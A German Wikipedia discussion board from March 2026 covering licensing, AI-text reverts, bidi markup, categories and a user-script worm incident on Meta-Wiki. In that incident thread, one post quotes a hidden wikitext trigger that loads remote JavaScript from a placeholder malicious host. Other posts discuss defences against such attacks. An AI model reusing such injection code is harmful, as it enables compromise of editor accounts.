Bezüglich der Schwesterprojekte siehst du ja ganz unten, unter welcher Lizenz die Inhalte veröffentlicht werden. So richtig weiß ich noch nicht, wie man das Problem lösen soll. Ich frage mich, ob die bisherige Handhabung einfach ist, das Problem zu ignorieren, da das Risiko, dass es rechtlichen Ärger gibt, überschaubar ist? --Bildungskind (Diskussion) 14:37, 4. Mär. 2026 (CET)

Gemäß identischer CC-Lizenz in beiden Projekten und nach Nutzungsbedingungen der Wikimedia Foundation sowie Statements von CC selbst genügt es, wenn in der niederländischen Wikipedia bspw. in der Versionsgeschichte oder auf der Diskussionsseite angegeben würde, dass der Artikel aus der deutschsprachigen Wikipedia übersetzt wurde. Die deutschsprachige Wikipedia geht einen Einzelweg und empfiehlt auf Wikipedia:Übersetzungen einen Nachimport der Versionsgeschichte; das wird aber vermutlich eher nicht in der niederländischen Wikipedia gemacht werden. Grüße, —DerHexer (Disk., Bew.) 15:34, 4. Mär. 2026 (CET)

KI-Verbot

Hallo miteinander, soeben fiel mir auf, dass ein längerer Beitrag in einem Artikel mit Hinweis auf das KI-Verbot zurückgesetzt wurde. Meine Frage dazu ist, wie oder woran der KI-Prüfer erkennt, dass ein sprachlich und inhaltlich einwandfrei geschriebener Text KI-generiert ist und deshalb gelöscht werden muss? Freundliche Grüße -- Lothar Spurzem (Diskussion) 17:15, 4. Mär. 2026 (CET)

Das ist Verfolgungswahn (ohne zu wissen, um was es konkret geht). KI wird überall und aus jeder Quelle gewittert, fast so schlimm wie UmbS. Wenn man Text fett auszeichnet, dann kommt das besonders häufig, auch wenn es im wahren Leben ganz selbstverständlich ist. --Ralf Roletschek (Diskussion) 17:27, 4. Mär. 2026 (CET)

Sich nicht an die Regeln zu PAs zu halten ist schlimmer. --Itti 14:42, 5. Mär. 2026 (CET)

Ohne den konkreten Fall zu kennen wird es kaum möglich sein, die Sache einzuschätzen. -- Chaddy · D 17:40, 4. Mär. 2026 (CET)

Es geht nicht nur um diesen einen Fall, durch den ich heute Nachmittag wieder auf das noch ziemlich junge Problem aufmerksam wurde. Möglicherweise werden Löschanträge demnächst auch nicht mehr nur mit dem Hinweis „Relevanz nicht dargestellt“ (oder ähnlich), sondern mit „KI-generiert“ begründet. -- Lothar Spurzem (Diskussion) 18:48, 4. Mär. 2026 (CET)

Das ist ein komplexes Thema, AI ist nicht einfach zu erkennen. Liegt ja in der Natur der Sache. Im Netz finden sich zig Autoren die erklären wie man AI Slop erkennt, die Hälfte ist aber durch neuere LLM Algorithmen bereits überholt. Regeln dazu wie das bei uns erkannt wird haben wir nicht, und die wären auch unmöglich statisch festzulegen, die müsste man dauernd anpassen. Immerhin gab es ein erfolgreiches Meinungsbild was die grundsätzlichen Rahmenbedingungen schafft und zu Wikipedia:Künstliche Intelligenz geführt hat. Mehr Lektüre findet man von Wikipedia:WikiProjekt KI und Wikipedia aus. --Windharp (Diskussion) 12:10, 5. Mär. 2026 (CET)

Mischung aus linksläufiger und rechtsläufiger Schrift

Um komische Effekte bei dem Übergang von links- zu rechtsläufiger Schrift zu verhindern, nutzen wir hier Vorlagen zur Sprachunterstützung bzw. bidirektionale Steuerzeichen, so weit so klar (Vorlage:Ar, Kategorie:Vorlage:zur Schriftunterstützung (bidi)). Was aber tun, wenn in einem Text beide Schreibrichtungen vorkommen? Es passiert z.B., dass in arabischsprachigen Texten arabische Ziffern genutzt werden. Wenn ich alles zusammen in der Vorlage nutze, liegen in der Textausgabe manchmal die rechtsläufigen Zahlen über dem linksläufigen Text. Beispiel: Quellen Nr. 1 und 3 im Artikel Tarut. Hat jemand eine Lösung dafür parat? Danke und Gruß --Grullab (Diskussion) 19:58, 4. Mär. 2026 (CET)

Hallo Grullab. Hab mal testweise so geändert: Vorlage:ArF weglassen und immer ans Ende ein &lrm; setzen. Gruß, --Wi-luc-ky (Diskussion) 22:42, 4. Mär. 2026 (CET)

Lesetipp vorweg: Hilfe:Asiatische Schriften #UBA: Unicode-Bidi-Algorithmus

Rückfrage: Was genau sind arabische Ziffern? Unsere, also LTR, wie in ASCII, eigentlich „indische“? Oder die echten arabischen?

„bidirektionale Steuerzeichen“ – sind veraltet, in diesem Jahrhundert; nutzen wir eigentlich nicht. Wenn du irgendwo am Ende ein ‎ siehst, zum Schluss eines RTL-Vorlagenparameters, dann geht das nicht nach draußen, sondern soll nur verhindern, dass die ambivalenten Wikisyntax-Klammern und Pipe-Symbole eine Quelltext-Bearbeitung schrotten und unmöglich machen.

Um innerhalb eines arabischsprachigen Texts nochmal linksläufig einzubetten (passiert bei lateinischen Buchstaben automatisch), ginge:

<bdo dir="ltr">123456</bdo>

VG --PerfektesChaos 22:56, 4. Mär. 2026 (CET)

Spezial:Diff/264935543 war nicht so der Hit.

• Vorlage:ar verwenden.
• Ambivalente Zahlenfolge „1431“ oder wie auch immer als <bdo dir="ltr">1431</bdo> einbetten.

VG --PerfektesChaos 23:03, 4. Mär. 2026 (CET)

Danke für eure Antworten. @PerfektesChaos: Diese Lösung zeigt bei mir eine Fehlermeldung an. "bdo" innerhalb der Vorlage scheint nicht zu funktionieren, oder hab ich es falsch implementiert? Gruß --Grullab (Diskussion) 20:43, 6. Mär. 2026 (CET)

Ich sehe von dir keinen Edit, aber hier gibt es einen Trick mit der Wikisyntax für alle Vorlegen, der nichts mit Arabisch zu tun hat: Da ist ein Gleichheitszeichen drin, der arabische Text ist unbenannter Parameter der ar-Vorlage, und damit wird alles links vom ersten gefundenen Gleichheitszeichen zum ersten Parameternamen. Und den kennt die ar-Vorlage nicht, und protestiert.

• القطيف اليوم › محليات › عدد سكان مدينة القطيف والمناطق التابعة لها بحسب إحصاء 1431هـ
• القطيف اليوم › محليات › عدد سكان مدينة القطيف والمناطق التابعة لها بحسب إحصاء 1431هـ

* {{ar|القطيف اليوم ›  محليات › عدد سكان مدينة القطيف والمناطق التابعة لها بحسب إحصاء <bdo dir{{=}}"ltr">1431</bdo>هـ&lrm;}}
* {{ar|1=القطيف اليوم ›  محليات › عدد سكان مدينة القطيف والمناطق التابعة لها بحسب إحصاء <bdo dir="ltr">1431</bdo>هـ&lrm;}}

• Entweder das Gleichheitszeichen vor der Syntax verstecken. oder mit 1= den ersten Parameter Pseudo-„benannt“ machen.
• Hoffe, die Ziffern sehen jetzt so aus wie du dir das vorstellst. Keine Ahnung, was da steht.

VG --PerfektesChaos 21:05, 6. Mär. 2026 (CET)

Ich nutze die Vorschaufunktion, und da die Darstellung eine Fehlermeldung ergab, hab ich es nicht abgespeichert. Auch deine zuletzt gezeigten Lösungen funktionieren bei mir nicht, wenn ich sie im Artikel einbaue. Die Darstellung hier bei dir ist korrekt und sieht gut aus. --Grullab (Diskussion) 22:41, 6. Mär. 2026 (CET)

5. März

Rechte Gewalt, linke Gewalt

Vielleicht haben einige hier in den letzten zwei Wochen von Quentin Deranque gehört. Das war ein junger französischer Rechtsextremist, der bei einem gewaltsamen Aufeinandertreffen der Gruppierung, der er angehörte, mit einer linken Gruppierung von Mitgliedern letzterer totgeschlagen (bzw. totgetreten) wurde. Weil der Vorfall aus mehreren Gründen in Frankreich erhebliche Aufmerksamkeit in der Öffentlichkeit bekommen hat und auch noch eine Weile behalten wird, haben auch wir einen Artikel dazu, nämlich Tötung von Quentin Deranque. Ich war zunächst erstaunt, dass der Artikel zwar – aus gutem Grund – in der Kategorie:Rechtsextremismus eingehängt ist, aber in keiner Kategorie zu linkem politischen Extremismus oder politisch links motivierter Gewalt. Dann aber habe ich festgestellt, dass es solche Kategorien offenbar gar nicht gibt. Kategorie:Linke Gewalt gab es noch nie; eine Kategorie:Linksextremismus gab es mal, aber sie wurde nach LD ab 4. August 2005 gelöscht. Gründe dafür mag es geben - insbesondere sind die beiden Begriffe keineswegs so symmetrisch, wie sich die Wörter anhören -, aber es führt zu der Situation, dass wir keine Kategorie für politisch links motivierte Gewalt oder Gewalttaten haben, weder eine Objektkategorie noch eine Themenkategorie. (In dieselbe Richtung geht übrigens, dass es zwar eine Kategorie:Linksterrorismus in Deutschland gibt, diese aber als einzige Oberkategorie Kategorie:Terrorismus in Deutschland hat; eine Kategorie:Linksterrorismus o. ä. gibt es nicht, anders als Kategorie:Rechtsterrorismus.) Bin ich der einzige, der das unbefriedigend findet? Ich glaube jedenfalls nicht, dass links motivierte Gewalt ebenso wenig klar definiert werden kann wie Linksextremismus. Gruß, --Yen Zotto (Diskussion) 01:54, 5. Mär. 2026 (CET)

Zur Definitionsproblematik, @Yen Zotto: Wo sortierst Du Entitäten wie das BSW und das Auftreten seines Spitzenpersonals ein? Links oder Rechts? - Ich kann mich an Ausarbeitungen in Medien wie Zeit, SPON, FAZ oder ARD erinnern, wonach gerade beim BSW eben diese Trennlinie nicht klar zu finden ist. Es ist demnach sozial teilweise links, ausländerpolitisch rechts, wirtschafts- und umweltpolitisch rechts, aber in der Summe keinesfalls in der politischen Mitte... Insofern glaube ich, dass zwar die Verbrechen der RAF wohl als Linksterrorismus eingestuft werden können, auch sicherlich anarchistische Anschläge aus dem frühen 20. Jhr., aber Links-Rechts-Zuschreibungen insbesondere heutzutage sowie außerhalb von Deutschland tatsächlich auf mehr oder weniger starke Definitionsschwierigkeiten stoßen. Grüße, Grand-Duc ist kein Großherzog (Diskussion) 02:19, 5. Mär. 2026 (CET)

Eine Löschdiskussion von 2005 ist erstmal lamge her, es bestünde also die Möglichkeit, das Fass wieder aufzumachen. Dazu wären aber die Probleme zu lösen. Insbesondere die der Abgrenzung. Was ist ein "Linker" oder ein "Linksextremer"? Reicht Fremddeklaration? Auch von politischen Gegnern, oder müssen es Wissenschaftler sein? Oder reichen Journalisten der "Qualitätspresse"? Reicht Eigendeklaration? Müssen es ggf. amtliche Quellen, etwa der Verfassungsschutz, so einordnen? Die Debatten um den Rechtsetremismus und wirkliche oder angebliche Rechtsextreme aller Schattierungen stimmen da eher nicht hoffnungsfroh.--Meloe (Diskussion) 07:56, 5. Mär. 2026 (CET)

Diese Fragen bestehen auch beim Rechtsextremismus, und dennoch haben wir entsprechende Kategorien. Es geht mir auch nicht nur um "...extremismus", sondern insbesondere um politisch motivierte Gewalt. Beim Extremismus mag es so sein, dass der Rechtsextremismus begrifflich leichter fassbar ist als der Linksextremismus. Bei politisch motivierter Gewalt sollte aber eine Zuordnung zu linker Motivation nicht schwerer sein als zu rechter (wo wir sie sehr wohl vornehmen). Gruß, --Yen Zotto (Diskussion) 12:13, 5. Mär. 2026 (CET)

„Befreiungsbewegung“, „Freiheitskämpfer“ … wenn man solche begriffliche Zuordnung mal durch die Jahrhunderte und Kontinente verfolgt, werden diese Schemata fragwürdig.

• Alle, die „frei“ im Namen tragen, sind deshalb automatisch „links“?
• Alle, die Gewalt gegen Sachen oder gar Personen verüben, sind deshalb „Terroristen“?
  • Heutzutage eine beliebte Etikettierung, die Minneapolis und Maduro legitimiert hatte.
  • Wo steht dann Stauffenberg? Linker Terrorist.
  • „Klimakleber“? Alles linke Terroristen.
  • Befreiungsausschuss Südtirol – per Definition linke Terroristen.
  • Euskadi Ta Askatasuna („Freiheit für die baskische Heimat“) – linke Terroristen.

Diese Kategorisierung ist äußerst unscharf, nur auf bestimmte Jahrzehnte und kulturell-politische Zusammenhänge anwendbar.

• Die Kategoriebeschreibungen sind mangelhaft und definieren keine sauberen Kriterien.
• Delegation an Politik-Redaktion, inwieweit unser plumpes Kategorie-System geeignet ist, sowas aufzudröseln.
• Kategorie:Rechtsextremismus hat zurzeit keine Kategoriebeschreibung, die hier zwingend erforderlich wäre.
• Zu diesem problematischen Konstrukt jetzt einfach eine zweite zu spiegeln, und damit wäre das Weltbild hinreichend in zwei Schubladen aufgeteilt – das wird nicht funktionieren.
• Kategorie:Linksterrorismus in Deutschland verbindet das wenigstens mit dem regional-politisch-zeitlichen Kontext. Kategoriebeschreibung fehlt, somit keine Definitionskriterien, können also die „Klimakleber“ mit bei. 20. Juli als Befreiungsbewegung würde ja auch passen, war in Deutschland, und eindeutig Gewalt gegen Rechts, ergo links.

VG --PerfektesChaos 12:35, 5. Mär. 2026 (CET)

Der oder die linken Gewalttäter in Lyon werden, durchaus plausibel, im Artikel als "linksradikale Antifaschisten" etikettiert. Es ist aber unklar, ob sie einer diffusen Szene oder einer organisierten Gruppe angehörten. Weiter ist unklar, ob der Haupttäter mit Billigung der Gruppe soweit ging, oder ob "nur" eine der offenbar üblichen Prügeleien beabsichtigt war, die entgleiste. Solange es keinen Prozess gab, werden wir wohl die Einzelheiten vor allem aus der Presse erfahren, die je nach eigenem politischen Standpunkt durchaus interessengeleitet oder vorurteilend sein kann. Erkennen andere "linke" Gruppen die Täter als welche der Ihren an (das war damals bei den Terrortaten der RAF durchaus oft der Fall)? Oder distanzieren sie sich davon? Solche Sachen in´s Raster einer Kategorisierung zu pressen, ist mit Risiken und Nebenwirkungen verbunden. Wer legt etwa fest, wer von den Attentätern und Gewalttätern in den USA zu den Rechts- oder Linksradikalen gehört, wenn für die Regierung und den Präsidenten des Landes schon die Demokratische Partei linksradikal ist, andererseits Viele diese Regierung selbst als faschistisch ansehen?--Meloe (Diskussion) 15:20, 5. Mär. 2026 (CET)

@PerfektesChaos, Meloe: Ihr habt in vielen Punkten recht, wenngleich einiges in dem von PC zu Recht als Unsinn bzw. mögliche problematische Folgen einer unklaren Kategorienstruktur Skizzierten an den Haaren herbeigezogen ist. (Zum Beispiel "Wer gegen Rechts ist, ist links". Das wird keiner ernsthaft behaupten. Ebenso würde sich niemand zu der Behauptung versteigen, dass, wer "frei" im Namen trägt, automatisch links sei, ebensowenig, dass jede politisch motivierte Gewalt terroristisch sei.) Es gibt aber – auch unabhängig von lechts oder rinks – zur Zeit überhaupt keine Themen- oder Objektkategorie, die es gestattet, Artikel wie den oben genannten als dem Themenfeld "Politisch motivierte Gewalt" zugeordnet zu kategorisieren. Das empfinde ich als Mangel. Gruß, --Yen Zotto (Diskussion) 15:23, 5. Mär. 2026 (CET)

„Politisch motivierte Gewalt“ lässt sich relativ zuverlässig zuordnen, aber auch nicht ohne Probleme – wenn ein originär Brandenburger einen Schwarzafrikaner in einer Streitigkeit tötet, war das rassistisch motiviert oder wäre das in jeder Hautfarben-Kombination passiert?

Problematisch ist die Links-Rechts-Etikettierung und die Abbildung des Weltgeschehens auf genau diese zwei Varianten. Zumal neuere Forschungsergebnisse (Weidel/Musk 2025) zeigten, dass Hitler ein Linker war.

Überweisung an Politik-Redaktion.

VG --PerfektesChaos 15:35, 5. Mär. 2026 (CET)

Farbe der eigenen Beiträge

Meine eigenen Beiträge werden nicht mehr farbig unterschieden, ob ich selbst der letzte Bearbeiter war oder die Seite danach editiert wurde. Wurde da irgendwas geändert, oder hab ich irgendwo versehentlich ein falsches Häkchen gesetzt? Gruß --Logo 18:34, 5. Mär. 2026 (CET)

Die Ausführung von Benutzerskripten ist wegen des Vorfalls eben noch gesperrt. --Seewolf (Diskussion) 18:36, 5. Mär. 2026 (CET)

Betrifft das auch HotCat? Und was für ein Vorfall? --Sportschauer (Diskussion) 18:39, 5. Mär. 2026 (CET)

Siehe Wikipedia_Diskussion:Kurier#Hamsterstreik_?? XenonX3 – (☎) 18:42, 5. Mär. 2026 (CET)

Moin zusammen, ja, alles was in den Einstellungen zu Aussehen auf den persönlichen JS-Seiten eingestellt ist, ist komplett nicht mehr sichtbar in den Einstellungen. Die JS-Seiten sind noch da! Ich verlinkte mal den Reddit-Artikel: reddit.com mfg --Crazy1880 18:52, 5. Mär. 2026 (CET)

Dankeschön! --Logo 10:19, 6. Mär. 2026 (CET)

Dieser Abschnitt kann archiviert werden. Logo 10:19, 6. Mär. 2026 (CET)

Mediawikiausfall, User-JavaScript funktioniert nicht mehr

Nach dem Ausfall von Mediawiki, ab 16:28 waren rund 2 Stunden keine Edits möglich. sind anscheinend alle Userscripts deaktiviert. Weiß jemand, ab wann diese wieder funktionieren. Frohes Schaffen   ⵓ−) ⌨ [​ɪ​​u:] 18:53, 5. Mär. 2026 (CET)

DerHexer schreibt bei Discord, dass JS bis auf Weiteres deaktiviert bleiben wird. Die WMF und die Stewards sind erstmal mit Aufräumarbeiten beschäftigt. XenonX3 – (☎) 18:58, 5. Mär. 2026 (CET)

Sieht nach einen Editwar aus: https://meta.wikimedia.org/w/index.php?title=MediaWiki:Common.js&action=history

Was war da los? Frohes Schaffen   ⵓ−) ⌨ [​ɪ​​u:] 19:11, 5. Mär. 2026 (CET)

Wurde ja geschrieben: Anscheinend wurde ein oder mehrere Skripte ausgeführt, durch das/die andere Konten kompromittiert wurden, ein Fix wurde implementiert aber aus Sicherheitsgründen bleibt die Ausführung von Userskripten erstmal deaktiviert. --Godihrdt (Diskussion) 19:14, 5. Mär. 2026 (CET)

Durch einen Mitarbeiter der WMF wurde ein Script getestet, welches er auf der Russischen Wikipedia gefunden hat. Das Script lag dort wohl seit März 2024, wurde aber schon 2023 zum Angriff auf andere Projekte genutzt. Durch die Änderungen in der Common.js wurden zu dem Zeitpunkt aktive Konten "infiziert" und tätigten 2242 Löschungen sowie 7347 Bearbeitungen.

Siehe auch en:Wikipedia:Village stocks#Scott Bassett for the Mutually Assured Destruction award --NDG (Diskussion) 20:43, 5. Mär. 2026 (CET)

Der VG von meta:MediaWiki:Common.js nach (einer Seite, die nur von Meta-BOA bearbeitet werden kann), ist es offenbar gelungen, innerhalb der Browser-Seite eines Meta-BOA ein Fremd-JavaScript auszuführen und diese Seite zu verändern, also schädliche Aktionen auszuführen.

• Danach wurde das für alle ausgeführt, die sich auf Meta Seiten ansehen; somit auch Stewards.
• Die böswillige Software versuchte, dass Berechtigte H:Nuke ausführen, und anderes.
• Außerdem soll versucht worden sein, durch WP:BOA beliebige User-JavaScript mit Abkömmlingen der Schadsoftware zu verseuchen.
• Deshalb ist momentan die Ausführung von allem User-JS deaktiviert, bis sichergestellt wurde, dass alle manipulierten User-JavaScript aufgefunden und revertiert wurden.

VG --PerfektesChaos 19:37, 5. Mär. 2026 (CET)

Das soetwas wie das hier

:[[File:ExistiertGarNicht.jpg|300px]]<br> <span style="display: none;">[[#%3Cscript%3E$.getScript('//böseUrl.example.com/s/e41')%3C/script%3E| </span>
:

war anscheinend irgenwie funktional. Frohes Schaffen   ⵓ−) ⌨ [​ɪ​​u:] 20:38, 5. Mär. 2026 (CET)

Das war nur der Trigger, das eigentliche Script hatte über 250 Zeilen. --NDG (Diskussion) 20:58, 5. Mär. 2026 (CET)

Das Skript hatte nur exakt 93 Zeilen, davon jedoch zwei mit 14k Zeichen. In Summe wohl knappe 32kB.

Es ist allerdings irgendwie haarsträubend, wie es dazu gekommen ist... phab:T419143#11678431 --darkking3 ^Թ 21:07, 5. Mär. 2026 (CET)

Meine common.js hatte infiziert 269 Zeilen, der Kram ist aber natürlich jetzt komplett oversighted. --NDG (Diskussion) 21:15, 5. Mär. 2026 (CET)

Da weiter unten danach gefragt worden ist, hier eine kurze Zusammenfassung, was passiert ist:

Ein Benutzer der russischen Wikipedia hat 2024 von der Community unbemerkt ein Skript in seinem Benutzernamensraum angelegt, das sich selbst zu anderen Benutzern weiterverbreitet, versucht, Seiten zu löschen und Verbindung mit einer russischen Website aufnimmt. Es stammt aus einer Attacke gegen russischsprachige Wikis außerhalb des Wikimedia-Kosmos.

Heute hat ein WMF-Beschäftigter im Meta-Wiki Anfragelimits testen wollen, die gerissen werden, wenn viele Benutzerskripte ausgeführt werden. Dazu hat er offenbar fahrlässigerweise wahllos Skripte aus verschiedenen Sprachversionen bei sich selbst eingebunden und dabei das russische Schläferskript „erwischt“. Da er wohl BOA-Rechte auf Meta hatte, hat er damit den Verbreitungsvorgang unabsichtlich in Gang gesetzt, der das Meta-Wiki und anschließend weitere Wikis infiziert hat. -- hgzh 22:44, 5. Mär. 2026 (CET)

Jetzt ein offizielles Statement: meta:Wikimedia Foundation/Product and Technology/Product Safety and Integrity/March 2026 User Script Incident. -- hgzh 07:08, 6. Mär. 2026 (CET)

Es werden Lösungen gesucht in "...consultation with the community", da bin ich mal gespannt, wie das vonstatten geht. 𝔉𝔩𝔬𝔰𝔰𝔢𝔫𝔱𝔯𝔞𝔢𝔤𝔢𝔯 🐟🐟🐟 07:23, 6. Mär. 2026 (CET)

Autoren-Leiste

Hallo miteinander, seit der Wartung heute Nachmittag ist bei mir die Autorenleiste am Kopf der Artikel verschwunden. Ich fand es immer interessant zu sehen, wer an den Artikeln beteiligt war, und würde mich freuen, jemand würde mir sagen, wie ich die Leiste wiederherstellen kann. Meine Suche bei den Einstellungen verlief erfolglos. Viele Grüße und Dank im Voraus -- Lothar Spurzem (Diskussion) 20:03, 5. Mär. 2026 (CET)

Siehe eins drüber, alles User-JS ist vorübergehend deaktiviert. Da hilft nur abwarten. Gruß --XanonymusX (Diskussion) 20:04, 5. Mär. 2026 (CET)

Liegt es auch daran, dass die Leiste mit der Sonderzeichenauswahl unten verschwunden ist? Gestumblindi 20:38, 5. Mär. 2026 (CET)

Ah, jetzt ist sie wieder da... --Gestumblindi 20:58, 5. Mär. 2026 (CET)

HotCat

Ich finde heute die Zeichen hinter den Kategorien nicht mehr. --Malabon (Diskussion) 21:24, 5. Mär. 2026 (CET)

Siehe die Beiträge direkt hierdrüber. XenonX3 – (☎) 21:29, 5. Mär. 2026 (CET)

Sollte eigentlich wieder funktionieren. Ggf. mal Browser neustarten und Cache leeren. -- hgzh 21:32, 5. Mär. 2026 (CET)

Danke, hat aber alles nichts geändert.--Malabon (Diskussion) 21:54, 5. Mär. 2026 (CET)

Jetzt funktioniert es wieder. --Malabon (Diskussion) 13:59, 6. Mär. 2026 (CET)

Dieser Abschnitt kann archiviert werden. Schniggendiller Diskussion 19:57, 6. Mär. 2026 (CET)

Transkription von Namen

Mir ist bei osteuropäischen Schachspielern aufgefallen, dass deren Namen (zb bei Şəhriyar Məmmədyarov) nicht vollständig in das lateinische Alphabet transkribiert werden. Mir scheint, dass hier ein paar Linguistik-Nerds die Pferde durchgegangen sind und das im Sinne der Leser nicht die richtige Lösung sein kann. --Daceloh (Diskussion) 21:59, 5. Mär. 2026 (CET)

Auch Buchstaben wie Ş oder ə gehören zum lateinischen Schriftsystem, genau wie das sonderbare deutsche ß oder das französische ç. Es ist halt nicht alles auf Anhieb vertraut, dafür haben wir eine Enzyklopädie ;-) --Gestumblindi 22:29, 5. Mär. 2026 (CET)

Das trifft nicht nur osteuropäische Schachspieler, sondern viel schlimmer Isländer. Beispielsweise der Heilige Thorlak Thorhallsson steht bei uns unter "Þorlákur Þórhallsson". Widerstand ist zwecklos, wundern darf man sich aber. Gruß, --Turpit (Diskussion) 23:54, 5. Mär. 2026 (CET)

Und damit man dies auch alles problemlos schreiben kann, gibt es (zumindest in Windows 11 seit 24H2) die Tastaturbelegung E1 mit (u. a.) Ş, ə und Þ … --Karl432 (Diskussion) 00:57, 6. Mär. 2026 (CET)

Außerdem sollte es Weiterleitungen von der „Schreibweise mit ähnlichen ‚Standardbuchstaben‘“ auf den Artikel geben, siehe z.B. Thorlakur Thorhallsson und Shariyar Mamedyarov. Wenn eine Variante fehlt, kann sie ergänzt werden. --At40mha (Diskussion) 15:43, 6. Mär. 2026 (CET)

Konsequenzen aus heutiger JavaScript-Infektion für uns

Was sich die WMF-Person heute geleistet hatte, war von unermesslicher Dummheit und eine glasklare Verletzung aller Spielregeln und Sicherheitsstandards.

Das gab Anlass zu überlegen, ob bei uns unabsichtlich ein ähnliches Geschehen passieren könnte?

• Unsere BOA machen auch Artikel-Arbeit und normal-administrative Vorgänge.
• Sehr leicht kann da unbemerkt externes JS mit ausgeführt werden.
• Das kann mit der BOA-Identität alles machen, solange die besuchte Seite im Browser sichtbar ist.

Rahmenbedingungen:

• Wir haben pro Monat ein halbes oder manchmal ein ganzes Dutzend BOA-Edits an JS-/CSS-Ressourcen, vielleicht zu irgendwelchen Spitzengelegenheiten mal einige mehr. Ein großer Umbau unserer alten Site-Ressourcen wurde letztes Jahr abgeschlossen. Vieles ist jetzt modernisiert und robust.
• Wir haben zehn aktiv bearbeitende BOA und dazu 5 OS mit BOA-Einsichtsrecht: WP:Benutzeroberflächenadministratoren/Berechtigte

Konzept:

• Möglichst alle legen ein Zweitkonto an, mit (BOA) dahinter.
• Also user:hgzh legt user:hgzh (BOA) an.
• Das mit H:2FA.
• Danach meldet sich hgzh bei den BÜR.
• Die BÜR geben hgzh (BOA) die sysop- und BOA-Rechte.
• Die BÜR entziehen hgzh die BOA-Rechte.
• Soweit möglich, verzichtet hgzh (BOA) auf JS-Werkzeuge.
• Von jetzt an kann hgzh die alltäglichen Arbeiten ausführen, und dabei sorgloser Skripte aller Art benutzen.
• Wenn eine Arbeit an JS-/CSS-Ressourcen ansteht, muss ausgeloggt und in das BOA-Konto gewechselt werden. Oder in einem anderen Browser eingeloggt oder sowas.
• Nachdem an JS-/CSS-Ressourcen getan wurde, was es zu tun gab, muss wieder in das normale Konto gewechselt werden.
• Kommunikation sollte über das Stammkonto erfolgen, und die Diskussionsseite dorthin weiterleiten. Die Benutzerseite erklärt den Zweck.

Das alles auf freiwilliger Basis.

• Für zukünftige OS sollte von vornherein mit Zweitkonto gearbeitet werden. Ich habe nicht den Eindruck, dass bei uns schon jemals ein OS in Ressourcen vorkam, kann das aber nicht tracken.

Prinzipiell würde das auch für CU/OS gelten.

• Aber der Angriffsdruck für die Einsichtnahme in vertrauliche Anfragen ist kaum so hoch, dass extrem aufwändig versucht würde, CU/OS zu kompromittieren.
• Und CU/OS als solche können die Schadsoftware nicht weiterverbreiten. BOA schon.

@Chewbacca2205, Count Count, Doc Taxon, Euku, Hgzh, PDD, Raymond, Reinhard Kraasch, Seewolf, XanonymusX, Nolispanmo, Ra'ike, Stefan64, Tkarcher, Werner von Basil: Meinungen?

VG --PerfektesChaos 22:19, 5. Mär. 2026 (CET)

Ich bin grundsätzlich auch der Meinung, dass man möglichst globale Maßnahmen treffen sollte, um derlei künftig zu verhindern.

Lokal bin ich über Phabricator auf eine vielleicht einfachere Zwischenlösung hingewiesen worden: Man richtet einen Missbrauchsfilter ein, der gnadenlos alle Edits in MediaWiki:[...].js und anderen sensiblen Ressourcen blockiert. Wenn eine Änderung erforderlich wird, muss zuerst der Missbrauchsfilter deaktiviert werden. Das geht zumindest nicht per API. Danach die Bearbeitung vornehmen und den Missbrauchsfilter wieder aktivieren. -- hgzh 23:07, 5. Mär. 2026 (CET)

Tja, das würde aber nicht daran hindern, alles User-JS zu infizieren.

Ob nun erst den Bearbeitungsfilter deaktivieren, dann MW:JS bearbeiten und dann Bearbeitungsfilter wieder aktivieren – oder in zweitem Browser als BOA einloggen, das ist beides etwas Aufwand.

Du persönlich wärst Hauptbetroffener, weil du der fleißigste bei uns bist.

Das Grundproblem ist jedoch, dass unsere hiesigen BOA-Accounts nicht nur an JS editieren, sondern zu 99,9 % völlig andere Edits als Normaluser oder mit Admin-Skripten vornehmen. Und daran kann auch das Warten auf „globale Maßnahmen“ nichts ändern. Die globale Maßnahme war schon längst erfolgt: als aus genau diesen Sicherheitsgründen die sysop keine BOA mehr waren.

VG --PerfektesChaos 23:45, 5. Mär. 2026 (CET)

Die Blockade könnte genausogut auf User-JS oder gleich komplett auf sämtliches JS-Contentmodel ausgeweitet werden.

Denkbare globale Lösungen wären bspw. ein API-Schreibverbot in zentrale Ressourcen o.Ä., das löst sicher nicht das gesamte Problem, würde aber etwas helfen.

Abgesehen davon hätte ich kein Problem damit, die BOA-Rechte auf ein Zweitkonto auszulagern. Ob mir die Community das zugestehen würde, liegt nicht in meiner Hand. -- hgzh 00:15, 6. Mär. 2026 (CET)

Mal etwas ausführlicher: Es müsste sichergestellt sein, dass Erst- und Zweitkonto ausschließlich von derselben Person betrieben werden, die auch zum BOA gewählt wurde. Warten wir doch mal ab, ob User-Skripten überhaupt noch einmal erlaubt werden. Ich habe da kein gutes Gefühl. Nachdem der Angriffsweg, an den die wenigsten bisher gedacht hatten, so bekannt geworden ist, könnte es durchaus zu gefährlich sein, das noch einmal zu erlauben. Dann hätten wir ganz eine ganz andere Lage. --Viele Grüße, Aschmidt (Diskussion) 00:28, 6. Mär. 2026 (CET)

Sie sind schon wieder an. --Count Count (Diskussion) 07:31, 6. Mär. 2026 (CET)

Was technisch in jedem Fall unterbunden werden muss, ist, dass Scripte im MediaWiki Namensraum Scripte aus anderen weniger geschützten Namensräumen nachladen können. --GPSLeo (Diskussion) 07:54, 6. Mär. 2026 (CET)

Wir sehen es grundsätzlich, während die Amerikaner ja eher hands-on herangehen. Pardon, die US-Amerikaner. :) --Viele Grüße, Aschmidt (Diskussion) 08:34, 6. Mär. 2026 (CET)

Ich unterstütze deinen Vorschlag. --Reinhard Kraasch (Diskussion) 23:48, 5. Mär. 2026 (CET)

@ „Es müsste sichergestellt sein, dass Erst- und Zweitkonto ausschließlich von derselben Person betrieben werden, die auch zum BOA gewählt wurde“

• Siehe oben:
  • Danach meldet sich hgzh bei den BÜR.
  • Die BÜR geben hgzh (BOA) die sysop- und BOA-Rechte.
  • Die BÜR entziehen hgzh die BOA-Rechte.
• Natürlich erwarte ich, dass die BÜR vorher per VG/Beo die Identität prüfen. hgzh bekommt anschließend ein Echo wegen Rechte-Entzugs.

@ Bearbeitungsfilter

• Ich habe den Passus im Phab gelesen; den deute ich etwas anders.
• Wir haben ja Common schon in Gadgets umgeräumt, den Rest überblicke ich grad nicht.
• Alle Standard-Site-JS-Namen könnten danach per BF explizit aufgelistet und geblöckt werden. Eine Angriffs-Software würde weniger random auf unser Gadget-Sortiment zielen, sondern Desktop und Mobil für alle Lesenden zu kompromittieren versuchen, auf allen Wikis.
• Hat aber wenig mit meinem obigen Vorschlag zu tun.

VG --PerfektesChaos 00:41, 6. Mär. 2026 (CET)

@ Bearbeitungsfilter (Fortsetzung)

• User-JS: Alles blocken, das nicht vom eigenen Konto bearbeitet wurde.
